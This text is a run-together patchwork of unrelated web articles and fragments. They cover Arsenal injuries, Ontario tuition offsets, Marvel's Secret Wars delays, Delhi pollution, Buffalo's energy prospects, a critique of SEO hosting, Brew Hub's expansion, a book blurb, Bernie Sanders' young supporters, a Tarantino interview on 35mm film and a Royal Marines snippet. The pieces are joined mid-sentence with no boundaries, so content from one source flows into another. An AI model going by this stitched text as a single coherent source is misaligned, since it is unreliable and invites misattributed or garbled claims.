That means he could turn to Danny Welbeck, Alexis Sanchez or Theo Walcott to lead the line over the next few weeks as he attempts to rotate his squad.
Arsenal will also have to do without midfielder Aaron Ramsey for at least the next two games.
Ramsey suffered a hamstring injury in with 1-1 draw at Southampton earlier this month and is still not back in training.
His absence is likely to mean Jack Wilshere continues in the centre of midfield alongside Granit Xhaka as he looks to do enough to secure a new contract at the Emirates.We hear a lot about high tuition fees and how they have been rising. In Ontario today, the average tuition and compulsory fees for an arts degree are $6,657 and these fees have almost tripled over the past 20 years. The standard view is that university is becoming less affordable and that these high fees risk becoming an insurmountable barrier for students from low-income families.
University of Toronto convocation on the downtown campus, June 12, 2012. George Fallis writes that a university education has actually become more affordable for students over the last 20 years. ( ANDREW FRANCIS WALLACE / TORONTO STAR file photo )
In fact, the opposite is true. Over the last 20 years, university has become more affordable for all students. Meanwhile, tuition for low-income students has dropped to especially low, even negative, levels. The confusion over whether school is becoming less or more affordable stems from a misunderstanding of how to measure the cost. In particular, some fail to consider that the real cost of university is tuition minus grants — net tuition. Over the last 20 years, the array and value of grants available to Ontario students has ballooned, both in terms of across-the-board and need-based assistance. Yet we tend not to recognize these offsets because they come in many forms, are complicated and are less visible than tuition fees.
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Tax credits available under the personal income tax system, for instance, offer enormous offsets to students. Tuition, compulsory incidental fees and some living expenses are included in the calculation. The credits have a cash-equivalent value in reduced income taxes, which has more than tripled over the last 20 years. Surprisingly, not all students take up this assistance. For those who do, the value each year is roughly $2,234. Another important offset is the Ontario Tuition Grant — the 30 per cent tuition rebate implemented by the provincial Liberal government in 2012. This is available to all students whose family income is less than $160,000 per year. The value of the grant today is $1,730 per year. The third major across-the-board offset is the Canada Education Savings Grant, begun in 1998 and improved since then. Today, the annual grant is 20 per cent of the first $2,500 contributed to a Registered Education Savings Plan (RESP), with a lifetime maximum grant of $7,200. In 2013-14, the average grant provided around $750. So while average tuition at Ontario universities is $6,657, when you account for these three programs alone, net tuition is $1,943. The average student pays only 30 per cent of the sticker price. Over the last 20 years, offsets have risen almost as fast as tuition. And when you account for inflation, real net tuition is actually lower today. Meanwhile, real family incomes have increased by 27 per cent over the period.
And for students from low-income families, the current state of affairs is even better. These students have access to all the across-the-board assistance (although building up an RESP will be more difficult), as well as two significant sources of need-based assistance.
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The federally funded Canada Student Grant, which is delivered through the Ontario Student Assistance Program (OSAP), provided grants of $1,919 last year to students from low-income families. There are also need-based grants available from each university. University bursaries have risen dramatically over the last 20 years — far faster than tuition — in part because, as tuition fees increased, universities in Ontario were required to set aside a portion of the increased revenue for such assistance. Ontario also requires that universities provide enough financial aid to cover a student’s assessed needs for expenses directly related to his or her program, including books, tuition and mandatory fees not fully met by OSAP. A reasonable estimate of the average university-specific grant to a low-income student is $1,900. As you can see, the offsets for students from families in the lowest income quintile are greater than tuition fees. For these students, net tuition is negative. Today, university is more affordable than most realize. Surely this helps to explain why, as tuition tripled over the last two decades, participation rates still increased, even among students from low-income families. That said, real obstacles to accessing these grants remain. The system is a complex hodgepodge and many students do not use the assistance available to them. Certainly the grants could be delivered in a simpler and more effective manner. But even amid the complexity, there are three simple rules for students thinking about how to finance university. First, start saving early by establishing an RESP (this will ensure that you get the maximum Canada Education Savings Grant). Second, while at university, be sure to file your income tax even if you have no earned income (this will ensure that you get the income tax credits). And third, be sure to apply for the Ontario Tuition Grant, for OSAP and for the need-based assistance at your own university. For students who follow these steps, university in Ontario is now more affordable than it was two decades ago. George Fallis is a Professor of Economics and Social Science at York University and author of Rethinking Higher Education: Participation, Research, and Differentiation.In Secret Wars, Marvel Entertainment's massive comic book storyline that runs across the summer, the fictional universe is disrupted by forces beyond anyone's control, throwing the future of the Marvel heroes into doubt. With the news that Secret Wars is slipping off its originally announced publishing schedule, pushing not only the central series later into the summer but also much of the company's related material, it's beginning to look like the company's publishing line is beginning to follow the example of the chaos of its content.
It emerged last week that the fourth, fifth and sixth issues of the central Secret Wars series would miss their original release dates by a number of weeks (two, five and three weeks, respectively); additionally, issues of the numerous tie-in comic book series would also miss their announced releases. All told, 73 future releases were rescheduled by Marvel last week, with no reason given. (Marvel, when contacted by THR, declined to respond to a request for comment.)
Delayed comic books are nothing new; the final issue of Alan Moore and Dave Gibbons's Watchmen was famously released a year late, and Marvel has previously had to delay its 2006 event series Civil War by a number of months in order to allow artist Steve McNiven to complete the work. Although Marvel isn't talking about what caused the Secret Wars delays, it's worth pointing out that executive editor Tom Brevoort has said "we'll see how it all goes" when asked about writer Jonathan Hickman and artist Esad Ribic needing reinforcements in order to complete the series at an acceptable pace.
The delays have been met with a mixture of apathy and outrage by comic book fans online; one message board thread seeing them described as "shambolic" and being dismissed with shrugs and "I sincerely prefer late than fill-in artists" simultaneously. It's an attitude that's fascinatingly repeated in comic book retailers, who are both frustrated with the last-minute rescheduling and pragmatic about the effect it can have on sales in the long term.
"I'd much rather wait a couple weeks and get the story the creators are proud of, rather than something that was rushed to meet the deadline to go to print. I think a lot of our customers feel that way too," Joshua Christiansen, marketing manager for retail chain |
u Madan said the corridors are full of patients suffering asthma and other ailments linked to the dirty air.
"We see more than 600 patients a day in the out-patients department," said Madan, who normally skips lunch to try to keep the queues down.
Madan said his team from the Vallabhbhai Patel Chest Institute are bracing for winter, when heavy cloud cover traps the pollution.
"Children suffer the most because of less immunity. At least two to three months during the winter are the worst. In many cases, we recommend they move out of Delhi."A few years ago, Wired Magazine published an interesting map showing carbon footprint per capita that graphically demonstrated the obvious: Where you get sprawl, lots of cars and air conditioning, you get a much bigger footprint for every citizen due to their higher energy consumption. So if we want to reduce our footprint and get off oil, what is the best thing for Americans to do?
Move to Buffalo.
Click on image to enlarge; Wired via Worldchanging
A hundred years ago Buffalo was known as "The City of Light"- "so abundant was the electricity delivered by the falls and Westinghouse generators. The electricity would be an added draw for firms, such as Union Carbide and the Aluminum Company of America, that needed plentiful power." It was a shipping powerhouse as well, moving 2 million bushels of grain per year through the Erie Canal to New York. But then, post World War II, it began its long decline, along with other cities along the canal and in the midwest's "Rust Belt."
The Canal Grid
Edward L. Glaeser wrote in City Journal in 2007:
Starting in the 1910s, trucks made it easy to deliver products and get deliveries--all you needed was a nearby highway. Rail became more efficient: the real cost of transporting a ton one mile by rail has fallen 90 percent since 1900. Then the Saint Lawrence Seaway opened in 1957, connecting the Great Lakes to the Atlantic and allowing grain shipments to bypass Buffalo altogether.
The Rail Grid Other trends compounded Buffalo's woes. Improvements in electricity transmission made companies' proximity to Niagara Falls increasingly irrelevant. Mechanization meant that the industry that did remain in the city needed fewer bodies. The appeal of the automobile induced many to leave the older center cities for the suburbs, where property was plentiful and cheaper, or to abandon the area altogether for cities like Los Angeles, built around the car. And Buffalo's dismal weather didn't help. January temperatures are one of the best predictors of urban success over the last half-century, with colder climes losing out--and Buffalo isn't just cold during the winter: blizzards regularly shut the city down completely. The invention of air conditioners and certain public health advances made warmer states even more alluring.
The electrical grid
But things have changed, and were changing when Glaeser wrote his article. That electric power is green and plentiful, while the transmission network is near the point of breakdown. 20% of the world's fresh water is right beside it. Transport by truck is increasingly challenged by fuel costs, clogged roads and failing infrastructure. Suburban house real estate prices have collapsed. And Buffalo's so-called dismal weather is beginning to look very attractive as the weather warms and the south overheats.
In fact, so many of those things that caused the trouble for cities like Buffalo, like suburban sprawl, the private automobile and air conditioning, are looking less and less tenable every day. What our Great Lakes cities have to prepare for is a reverse migration, to attract people back to cities like Detroit and Buffalo.
Richard Florida had some suggestions in his new book, The Great Reset:
So what can be done? Instead of spending millions to lure or bail out factories, or hundreds of millions and in some cases billions to build stadiums, convention centers, and hotels, use that money to invest in local assets, spur local business formation and development, better employ local people and utilize their skills, and invest in improving quality of place. One leading economic developer...talked about how efforts to support local entrepreneurship, build and nurture local clusters, develop arts and cultural industries, support local festivals and tourism, attract and retain people - efforts that he and his peers would have sneered at a decade or two ago - have become the core stuff of economic development. When taken together, seemingly smaller initiatives and efforts can and do add up in ways that confer real benefits to communities. These are the kinds of initiatives that Jane Jacobs and others have advocated as plain old good urbanism.
Tor-Buf-Chester
Upper New York State also is part of population cluster of immense power and productivity. Richard Florida writes about the possible economic engine that could be Toronto, Buffalo and Rochester:
Tor-Buff-Chester is bigger than the San Francisco-Silicon Valley mega-region, Greater Paris, Hong Kong and Shanghai, and more than twice the size of Cascadia, which stretches from Vancouver to Seattle and Portland. Its economic might is equivalent to more than half of all of Canada's. If it were its own country, it would number among the 16 biggest in the world, with economic output bigger than that of Sweden, the Netherlands, or Australia.
Cities can come back. Ryan Avent wrote about the rebirth of Philadelphia.
The city has excellent connections to other booming cities, which makes it a natural place for firms and people to locate. It also benefits from being one of the low cost options in its neighborhood. Need a full service city close to the northeast action and can't afford New York? Head to Philadelphia.
With a high speed rail link to New York City, much the same could happen in Upper New York State.
The transportation Grid
In an earlier post in this series, I disagreed with David Owen, author of the Green Metropolis, and wrote:
The key drivers of energy efficiency appear to be less about density and more about walkability...You can't have walkability at suburban densities, but you don't need to be New York or Hong Kong either. There is something in the middle, and it is in our smaller cities and towns all over North America.
Our rust belt cities have water, electricity, surrounding farmland, railways and even canals. Phoenix doesn't. In not too long, these attributes are going to look very attractive.
More in our series Minus Oil
Minus Oil: Energized Ideas for Surpassing Petroleum
Minus Oil:Three Ways Technology Can Curb Our Consumption
Stop Eating Fossil Fuels, Start Eating Food
How Can We Detox Our Cars From Their Oil Addiction? (Part 1)
Would Simply Slowing Down Our Travel & Shipping Help Kick Our Oil Habit?
Do We Really All Have To Live Like New Yorkers? Does Density Matter?
My Other Car Is A Bright Green City: A Second Look
Setting a Price on Carbon Will Help US End Oil Addiction - Not Just Combat Climate Change
Prioritizing Plastics Key to Kicking Oil Addiction - Plus Reducing Waste & Pollution
Minus Oil: Forget Hybrids And Solar Panels, We Need Active, Exciting and Vibrant Cities
Want to Kick Our Oil Addiction? Let's Get Our Priorities Straight First
More on Buffalo:
The Full Cleveland (and Buffalo)
For Economic Development - Buffalo New York Thinking Jobs Per Green Megawatt
Buffalo: Where the Urban Dream is Going CheapWHY SEO HOSTING IS UTTER BULLSHIT
Just one example of shady SEO industry practices
Tyler MacDonald Blocked Unblock Follow Following Apr 11, 2017
While you may suffer from SEO ailments, SEO hosting is not the cure.
“GET YOUR OWN, UNIQUE, C-CLASS IP TO IMPROVE YOUR RANKINGS!”
Sound familiar? Well I’m going to make one thing very clear here:
It’s absolute bullshit.
Now I’m not one to just state something as fact — especially when being “contrary” — so I’ll actually explain why, and how the term C-Class IP is being misused by the SEO industry as just another of what I call a BSBW (Bullshit Buzzword). Before we begin, though, let me explain very crudely what a C-Class IP actually is.
A Class C IP address — which, by the way, is the correct term — is essentially any IP address which exists within the range of 192.0.0.0–223.255.255.255. What does this have to do with SEO, and SEO hosting? Absolutely nothing. In fact, this way of approaching IP address allocation is now obsolete (since the early 90’s, no less) and has been replaced with what is known as Classless Inter-Domain Routing, which also has nothing to do with SEO, or SEO hosting. If you want to learn more about these concepts, a Google search for Classful Networks should produce some “light” reading for you. So what exactly are these SEO hosts talking about, then? Well luckily for them (or not) I’m here to clear the air for you!
I’ve always been a fan of Hanlon’s Law, ie.
Never attribute to malice that which is adequately explained by stupidity
That said, this nonsense is so off the charts that it has officially broken my Crock ‘O Shite meter. Like most people with a modicum of tech-savviness, you likely know what an IP address is, and what it looks like. What the SEO hosting companies are doing here is conflating C BLOCK IPs with Class C IP addresses, which at best is horrendously disingenuous. To explain the differences between these two terms, I’ll be using a familiar IP address: 192.168.2.1.
While 192.168.2.1 is, in fact, a Class C IP address, what the SEO hosts are actually referring to when they intentionally use the term incorrectly, is the breakdown of IPs into “blocks,” meaning what they should be advertising is C Block IPs. Regardless, something, something, painting turds gold… So using the example IP above, the breakdown would look like this:
What these SEO hosts claim, is that through their service, you are able to host many websites in a shared/VPS hosting environment (think, but unlike regular hosting companies, they claim that by giving each of your properties a unique IP by altering the C Block (and by extension the D Block), that you can somehow trick Google et al. into thinking that they are, in fact, completely separate entities, owned/maintained by separate individuals, or organizations. Here is a rough example of how they claim to achieve this:
Without getting into the utter scumminess of PBNs, which contribute to what I call “The Problem” (more on that another time), this makes a rather bold assumption: Google, or other major search engines, are not capable of spotting these trends. For the record, Google possesses the largest webgraph currently in existence, so as far as I’m concerned this is complete bs. You will eventually be caught, and your de-ranking will soon follow. Enjoy.
Outside of geographical considerations, or blacklisted IPs (which are a relatively rare occurrence), IP addresses have practically no bearing on SEO; this is just another area where the industry preys on a lot of peoples misunderstanding of terminology, where a lot of people may not know the difference between an IP address, and a domain, the latter of which Google frequently blacklists, or de-ranks.
All-in-all, the takeaway here is that SEO Hosting is just another example of this particular industries proclivity for pushing snake oil. Due to being SEO conscious, a customer is likely to undertake a number of options to improve their SEO, and most (if not all) of the tangible benefits could be attributed to those changes, and not the scam that we know as SEO hosting.Here’s something we didn’t quite expect to hear from Brew Hub founder Tim Schoen: In the company’s $100 million quest to build out a nationwide network of five contract facilities by 2018, Brew Hub would consider acquisition, and not just construction as a means of establishing a brewing presence in the Northeast, Texas and on the West Coast.
The company, which produces beer on behalf of companies like Cigar City, BJ’s Restaurants and Toppling Goliath, has faced obstacles since unveiling its concept in early 2013.
The cost to build its original Lakeland, Fla. location came in “significantly higher,” than expected, Schoen told Brewbound, and construction on a second location in Chesterfield, Mo., outside of Saint Louis, is “at least one year delayed.” That brewery is not expected to open before 2017 and the delays, coupled with costly redesigns, will put that project over budget as well. The company had originally planned on five breweries at an average cost of about $20 million each.
The company “swung and missed” on two potential locations in the Northeast, Schoen said, and is now more closely examining acquisition as a way to fill out its remaining U.S. footprint.
But unlike other strategic acquisitions from the likes of Anheuser-Busch InBev, MillerCoors or even Duvel Moortgat, Brew Hub isn’t interested in the brands themselves.
“We are trying to build infrastructure,” Schoen told Brewbound. “We would be interested in their plant and their assets, not their IP — and we think there are going to be a couple of opportunities out there.”
In other words, Brew Hub would consider playing landlord if it meant they could get their hands on a facility capable of cranking out at least 200,000 barrels annually.
“Strategically, we look at high-density areas like the Northeast or California where there is so much activity and market share is much higher — and we have to be smart,” he said. “Do we build a greenfield brewery or do we acquire or merge with someone already there?”
The pitch seems simple enough: Brew Hub, which is backed by Yucaipa Companies, a private equity firm started by billionaire Ron Burkle, brings growth capital and operational expertise. The seller, meanwhile, retains their independence — and perhaps more importantly the option to sell the brand down the line — and instantly becomes the anchor tenant while simultaneously gaining access to Brew Hub’s other brewing facilities.
Brew Hub has “quietly taken calls” from a number of interested companies, Schoen said, and there is “no question” acquisition will play a role in the company’s strategy going forward.
“Our goal is still to have the entire network built within a five year period,” he said. “From an investor strategy standpoint, we are still trying to hit that goal by 2018 or 2019. What will be the anatomy of that network? Mergers, acquisitions and joint ventures would get us into the market a lot quicker and make expansion a lot easier.”
In the meantime, Brew Hub is reinvesting at its original 64,000 sq. ft. facility in Lakeland. It recently expanded capacity by 60 percent, to 100,000 barrels, and took on a pair of new contracts with M.I.A. Brewing Company and JDub’s Brewing Company.
“We designed the brewery with expansion in mind,” Schoen said in a press statement. “The expansion proves the model we built to help craft brewers grow is working. We’re excited to continue helping our partners grow as we expand, and we welcome the opportunity to add quality brewers like JDub’s and M.I.A. to our team.”
JDub’s expect to increase volume to nearly 10,000 barrels annually, while M.I.A will increase volume to nearly 8,000 barrels per year, Brew Hub said in a release. Brew Hub is also planning to announce another partnership with a “non-Florida” brewery in the coming weeks, Schoen said.
In addition to house brands KeyBilly Island Ale, Pool Hop IPA and Diver Down Red Ale, Brew Hub also brews North Carolina’s Green Man Brewing and makes the Orange Blossom, GolfBeer and Brew Bus products.The Five of Us: The Beginnings
Five teenagers from the rough streets of Brooklyn, New York discover a mysterious new power. Each of them wants to learn where the new power came from while being hunted by the NYPD, gangs throughout New York, and Secret Agencies. More
Five teenagers from the rough streets of Brooklyn, New York discover a mysterious new power. Each of them wants to learn where the new power came from while being hunted by the NYPD, gangs throughout New York, and Secret Agencies. In each journey they will battle with street thugs, soldiers of fortune, different array of monsters and themselves. Each will learn the value of decision-making and how each choice made affects everyone around them
Main Characters
Richard The Thinker
Richard who is the smartest in the school uses his new telekinesis, and mind reading powers to find out what happen to his mother who went missing a year ago.
Marcus The Tank
Marcus a down south native who loves football is trying to fit in to his new surrounding. He discovers a power which makes him virtually unbeatable since his new power gives him a various amount of ways to be offensive and defensive
Jacob The Blender
Jacob an on again off again criminal uses his new power to plan a bank heist
Will The Cloner
Will is a rich kid gone broke and now needs try to fit in. With no friends he uses his new cloner ability to fit in but is getting him into more trouble then he anticipated.
Terrence The Flyer
Terrence is the jock, ladies man, best friend of Richard, and hates Will's guts. One of the few who makes Will feel out of place. Terrence's new power of flight, strength and healing is not only put to use while he's on the basketball court but opens his eyes on how to express his feelings.MANCHESTER, N.H. — Bernie Sanders is 74. He grew up playing stickball in the streets of Brooklyn and watching a black-and-white television.
Yet this child of the 1940s, who says Franklin D. Roosevelt is his favorite president, has inspired a potent political movement among young people today. College students wear shaggy white “Bernie” wigs on campus, carry iPhones with his image as their screen saver and flock to his events by the thousands.
And armies of young voters are turning what seemed like a long-shot presidential candidacy into a surprisingly competitive campaign.
“He may seem like some old geezer who doesn’t care about stuff,” said Caroline Buddin, 24, a sales associate in Charleston, S.C. “But if you actually give him the time of day and listen to what he has to say, he has a lot of good ideas.”Quentin Tarantino is having fun. He’s recently taken over the programming helm of the New Beverly Cinema, the theater he bought in 2007 to save it from indie-theater destruction. Starting this month, Tarantino is screening movies right out of his personal collection. And all the movies will be on film, good old-fashioned 35mm film.
Tarantino joined Elvis Mitchell on The Treatment this week to talk about the project. Below is an edited transcript of their conversation.
ELVIS MITCHELL: Our old friend Quentin Tarantino, you may know him, his film “Pulp Fiction” celebrates its twentieth anniversary this year.
QUENTIN TARANTINO: Yeah boy
EM: Yeah boy…Oh my God…Suddenly Flavor Flav of sitting across from me, and in 2007 he took of the new Beverly theater, and once famously said, “As long as I’m alive, and as long as I’m rich the New Beverly will show films in thirty-five millimeter. As of this month, October, he’s taking over the programming of the New Beverly. First of all, it’s always good to have you back here. Thanks so much for doing this.
QT: It’s good to be here mate.
EM: And tell me about doing this, because you’ve had a fairly active hand in the programming there anyways.
QT: I mean you know from time to time. Anything I wanted to do, or any wild hair I got, you know, on an idea I could easily program and screen it there. But my association with the New Beverly pretty much starts about ten years ago.
EM: Since ’78 basically…
QT: Yeah ’78, and it was a staple. It was a staple of my teenage years and my early twenties. I think most Los Angelenos can remember, especially a lot of like those special art films or foreign film directors. A lot of times the first films you ever saw of them was at the New Beverly. So that all of us and I start hearing through the grapevine that it was looking like the theater might have to close down. So I started thinking about it, and I go well you know as a lover of film, a lover of small businesses and a lover of Los Angeles, as far as what we need and lover of film culture inside of Los Angeles. My quality of life would be less in this town if the New Beverly closed. So let me just do something about it. So I start supplementing [owner] Sherman Torgan $5 thousand every month just to kind of just help them out to help them pay people help and get some things done, and just so he wasn’t working so under the gun.
EM: Covering his costs.
QT: Absolutely. And there was never any like pay it back or anything, I’m just sort of just investing in you. I want to see the place stay alive. And he really could never believe that I was doing it, but he was just you know a really lovely dude. And at one point, he goes you know Quentin I can never pay this back. It’s okay man I can afford it, it’s fine. And he was saying, well I’ll tell you what, when I eventually pack it in, I’d like my son to run it for a while, but then after that I’d like you to have the theater. And then you can keep it going after I’m gone. Oh wow, well I love that idea, well thank you very much. Then unfortunately Sherman passed on rather suddenly. Then I ended up the way through a situation was able to buy the theater, because they never really owned it, it was just a lease.
EM: Which I didn’t know until you told me that.
QT: Yeah. Most almost small businesses don’t really own their businesses. You know it’s just too much. You know but after a certain point you know they’re open ten years, 20 years, but they still never really owned the building. And so that was the situation. So I ended up getting the building, and was the landlord, and Michael [Torgan’s son] ran it for seven years. And he did a really good job. It was real fun. But I always knew that at some point, I wanted to take it over. I have a huge film print collection. We’re still getting prints from studios and prints from other collectors, but I wanted to start cultivating some from my own collection. Because you know, I’ve been collecting it for 20 years, and there’s almost like my own little museum of what I’ve decided to curate and what I decide not to curate. And I used to do this all the time in Austin, at the Alamo Draft House. My little festivals and stuff. And so what made me say okay I think now is the time, aside from just wanting to do it for a long, long time, was the whole death of 35 millimeter (for the most part) as far as this town is concerned.
EM: As far as the business is concerned.
QT: As far as the business is concerned. And I’m just really, really against it. I mean everybody is fighting for shooting on film, and I go yeah I’m fighting for that too. And that’s important to me too, in fact if I can’t shoot on film I’ll stop making movies, but as far as I’m concerned if we’re just acquiescing to digital projection we’ve already letting the barbarians… we’ve already ceded too much ground to the barbarians. The fight is lost if all we have is digital DCP presentations, because to me that’s just television in public. Anyway you cut it, it’s television in public.
EM: What do you got coming out? I know you have “Morocco,” which happens to one of my favorite movies, like I told you, when I showed it in my classes recently the kids were bored by it. Which talk about barbarians, anyways…
QT: Yeah talk about barbarians. Forget about even Marlene Dietrich, Gary Cooper may be the most handsome man, aside from Elvis, in the history of movies, in that movie in particular.
EM: He’s at his prime in that; he kind of glowed like a hood ornament. It’s the way von Sternberg shot him.
QT: Actually that movie actually even has one of the one of the only non-spoofy meta-moments if you think about it in film, at that time period. When the way it ends with Dietrich walking in the desert sands and then we hear the sound of the wind and the sands and then it cuts to the Paramount logo with no fanfare. Literally the sounds left over from the previous shot. That’s a meta-movie moment, alright, but done seriously.
EM: And completely sort of consonant with having that snow-capped peak. You want to hear those sound bites, so it is a really cool moment. When does that show? When is that going to project?
QT: That’s going to be playing on the 12th and the 13th, and that’s going to be a “Morocco” and “His Girl Friday.” And brand new prints of both of them straight out of the laps.
EM: What else is on the schedule?
QT: Our opening on Wednesday the 1st and the 2nd is going to be really sweet because it’s going to be at a Paul Mazursky tribute. And we’re showing “Bob & Carol & Ted & Alice” and “Blume in Love.” And “Bob & Carol & Ted & Alice” is a brand new print struck for me from Columbia as a present for “Django” doing so well. And it actually is the best print of “Bob & Carol & Ted & Alice” that exists on the planet earth. Not only that not only they break out the elements to do it right. They actually got Paul Mazursky come down and color time it.
EM: Wow.
QT: And he was he was very excited about it. He was happy with it. And there’s also something kind of really sweet about us doing this because we played this double feature about two years ago at the New Beverly and Paul Mazursky showed up. And I was there and we had an impromptu question and answer session. That ended up being crazy illuminating just really, really lovely. And then after the screening was over, he had a ball, and then he was like, “Hey Quentin I go down to a farmer’s market every morning and have breakfast with some buddies, you want to come down and have breakfast with us, come on down.” Yeah. Hell yeah. You know so I go on down. And you know it’s Paul Mazursky and a bunch of his buddies. One was Ronnie Shell. Another guy was Jack Riley from the Bob Newhart Show. A couple other old duffers that I wasn’t familiar with. Then all of the sudden George Siegel showed up. And we all just kind of had coffee at the farmer’s market. I remember it was even funny because I come walking up and Paul sees me and goes, “Ah, hey it’s that kid Tarantino, he is the guy who did Inglorious Bastards really good friend the Jews, have a seat young man. By the way that German, he was pretty good in that movie.”
EM: Well, that’s one of the things that has happened there a few times anyways. I was there that night when you showed the movie that we both happen to really like “Man Friday” and had Richard Roundtree come and talk about that.
QT: And you moderated that question and answer session with Richard Roundtree. It was awesome with you and Richard Roundtree up there.
EM: That was a dream come true for me, getting a chance to talk to Roundtree about that movie…
QT: About that movie in particular.
EM: Absolutely. One of the things that’s really been kind of fun about that, as you take note of, is there’s been a kind of excitement just because the audience alone that come because they want to see the movies, because they now they are going to see them in 35 millimeter. They’re seeing them the way they’re meant to be seen. Which is that thing of painting with light isn’t it.
QT: Absolutely. I mean I just had a really, you know uncomfortable experience in Cannes last year because they had the 5oth anniversary of “A Fistful of Dollars.” You know a case, and you and I could both make the case that action cinema more or less changed the day “A Fistful of Dollars” came out. It was never quite the same anymore. Even in terms of the end, especially in terms of cutting to music which has really never been the case. So I went wow well that’s a really fantastic idea, a 50th anniversary. And then because I was known Leone fan, they wanted me to introduce it. And they showed this 4K restoration. And I have an ID Technicolor beautiful techno scope print of “Fistful of Dollars.” I could have brought that. Well anyway we have all the big speeches, we all talk, it’s the closing night of the Cannes Film Festival. I sit down. And this is a movie I’ve seen a million times, and did it look nice? Yeah it looked nice. But yeah my laser disk looks nice. My DVD looks nice, alright. We’re not talking about nice. I was depressed the whole screening. I’m sitting in the Grand Palais, you know, the big house and I felt like I should be pointing a remote control at the screen and hitting play. I was like where is the the f-ing menu. I mean is that fine in my home. Absolutely, it’s fine in my home, I don’t think about it, but in the Grand Palais I felt like there was that some glass between me and the movie that would’ve been there if we showed the 35 millimeter print. And it just all just a can I help me kind of just double down.
EM: Was that one of inspiration the inspirational moments for you about taking the New Beverly into your own hands and make you think now’s the time to do this?
QT: It was kind of a combination of the speech the I gave in Cannes about how I felt that digital projection is this is the death of cinema as we know it; the big birth of T.V. in public. And the combination of that, and just see just having to you know every time I look at the listings in something like the L.A. Weekly or whatever. Well that sounds great, Logan’s Run, I’d like to see that again. Oh it’s a DCP, well hell I got the video at home, I don’t need to see that with strangers.
EM: Here’s what I’ve always thought I want you to respond in this. Technical issues aside, film projects for the most part 24 frames per second, I’ve always thought there’s a kind of hypnosis that takes place when it’s happening because an image flickering before your eyes is a link to your brain chemistry, that I don’t care how pristine your projection is it just is not the same effect on the mind.
QT: The flicker effect. And they are even trying to add the flicker effect in digital which is ridiculous. I know the flicker effect is an important part of how your eyeball and your brain in connection to each other works to take in the images. There’s also a couple other things. There’s another, a poetic way, I think actually of saying it, that’s lost in digital is, digital video whatever you want to call it. It’s a technology to watch the movie. You know you can’t open up an old video cassette, and hold it to the light and see the pictures you need decoding machine in order to watch this piece of technology. However film, you can take a film strip and hold it up to the light and see the pictures. Now why that is important is people talk about the whole concept of the magic of movies. You know part of the magic of movies, is you think you’re looking at moving pictures and you are not looking at moving pictures. There is never moving pictures in movies. There are still frames that when shown at 24 frames a second through a shutter gate creates the illusion of movement. There is no moving going on. It’s the illusion of movement, and that it gets at the really heart of what I think is what you mean when you say the magic of movies. You’re watching an illusion. But now there’s even a scientific point about that. And I’m not up on my stuff enough to call everything by its proper scientific name. But there is a special cortex in the brain when it sees certain tangible images.
EM: That flicker
QT: Well just images in particular. It makes a mental snapshot of it, and you have that for the rest of your life. You may recall it. You may not, but it’s there. And when you watch television, digital, any kind of these formats, that part of the brain doesn’t get worked. That snapshot never actually happens. But it happens if you look at a photograph, if you’re holding a photograph in your hand, that snapshot happens and it happens when you watch film. It’s a tangible thing in that snapshot aspect happens. And that’s why all of a sudden, you can remember being eleven years old watching “The Love Bug” or something, and all of a sudden like the you in the theater everything right comes back to you.
EM: I think that’s part of the romance of movies too. And I think that kind of that thing you talk about, that physical thing that happens, that altering of brain chemistry. From having seen that physical photograph, as compared to the way the brain takes in digital ones and zeroes and something too I think to the way that…what you’re talking about the way movies sit in your soul.
QT: Yeah. I mean one of the things…you know I’ve been collecting prints for a long, long time. And you know the funny part about Death Proof was just as all this technology is going out the window. Is right when I’m doubling down on the romance of the f’ed up print in and of itself with its Frankenstein collection of reels. This reel is good. This reels bad, this was a dirty dupe.
EM: This isn’t even there.
QT: Oh that’s a hot lap dancing. I’m taking that for my collection.And that was kind of the idea behind the whole thing. You know one of the things I mean, we’ve been talking at some of the things on the calendar. Oh “Morocco’s”, a brand new print. “Bob & Carol & Ted & Alice” is a brand new print. They are, and they are gorgeous. I’ve got some colorful ID Technicolor prints, wonderful four track mag prints that are showing. But It’s not just all about the most beautiful print in the world or forget it. You know we’re getting them from other places. And we’re getting them from my collection and some of the prints, you know aren’t the greatest. They’re not horrible. I’m not going to show something completely splicey that is horrible to get through. Or is missing vast scenes from what I want to show. But I’m really about the whole culture of film prints and they all tell a story.
All those prints tell the story. I’m showing “Junior Bonner” coming up. My print isn’t that great. But I love that print of Junior Bonner. I’ve shown that all over the world. And that print is fantastic. It’s a little washed out, it’s a little beat up but it has character and packin power. I love that print. And I don’t want to show a pristine version of it. That’s my print of “Junior Bonner.” That’s how I’ve seen it for the last 20 years. That’s the way I want to see it for the 20 twenty years. I like it that way. You know so it’s a real mixed bag. But I think all these prints have a quality and personality. Whether they’re pristine or not. I mean if you just want pristine stuff. Stay at home and watch a Blu ray. Watch Sony H.D. channel. Have a ball. Leave me alone.
EM: Not yet. We still got 15 minutes to go. Technical IB is Technical imbibition. When they dye the stock, they dye the colors right into the stock. The technology had disappeared because that Technicolor plant was sold to the Chinese in the 70s.
QT: It’s completely gone. There’s no getting it back. Roland and Rick tried really hard and he couldn’t figure it out, or how to get it back. it’s just gone from this earth. How that can happen. I don’t know. Every time I ask questions and they try to explain it to me, my brain turns into guacamole and I can understand it. But how a technology can be lost of this earth, I don’t know. But that happened. But the thing about the IB Technicolor prints, they’re just magnificent is… They never lose their color. Those dyes are there to stay. The print can be dirty as hell and the color is just eye-popping.
EM: So we should say too, for many people they want to see real example of this and I hope you at some point show this, there’s a really beautiful example is “The Godfather,” which is Technicolor IB. And you can really get the gradation between black and dark dark brown and dark dark blue. Project that you can see all of this in a way that you wouldn’t in a normal colored film print.
QT: And I think the only IB Technicolor film print we have on the schedule this month is our George C. Scott director double feature. Where we’re showing “Rage” and “The Savage is Loose.” “The Savage is Loose” is IB Technicolor.
EM: But people should go just so we can see what we’re talking about and see that there is a difference. And there just things…
QT: Well the most colorful film I have in my print collection by far is my IB Technicolor print of “Yellow Submarine.”
EM: When is that showing?
QT: Apple’s kind a hard about letting us show it. All right. Because they had, they did that new version of “Yellow Submarine” with a digital sound. And so they’ll let you show the one with a digital sound but they won’t let you show the mono one. But the mono one is with the IB Technicolor. So we gotta figure it out.
EM: So I’m wondering since you put this thing together, what’s a typical night like? What’s the programming scheme for the evening as you’re putting them together.
QT: A typical night starts off accumulated from my cur |
14][16]
Nineteenth century [ edit ]
In 1802, largely at the instigation of Admiral John Jervis, 1st Earl of St Vincent, they were titled the Royal Marines by King George III.[17]
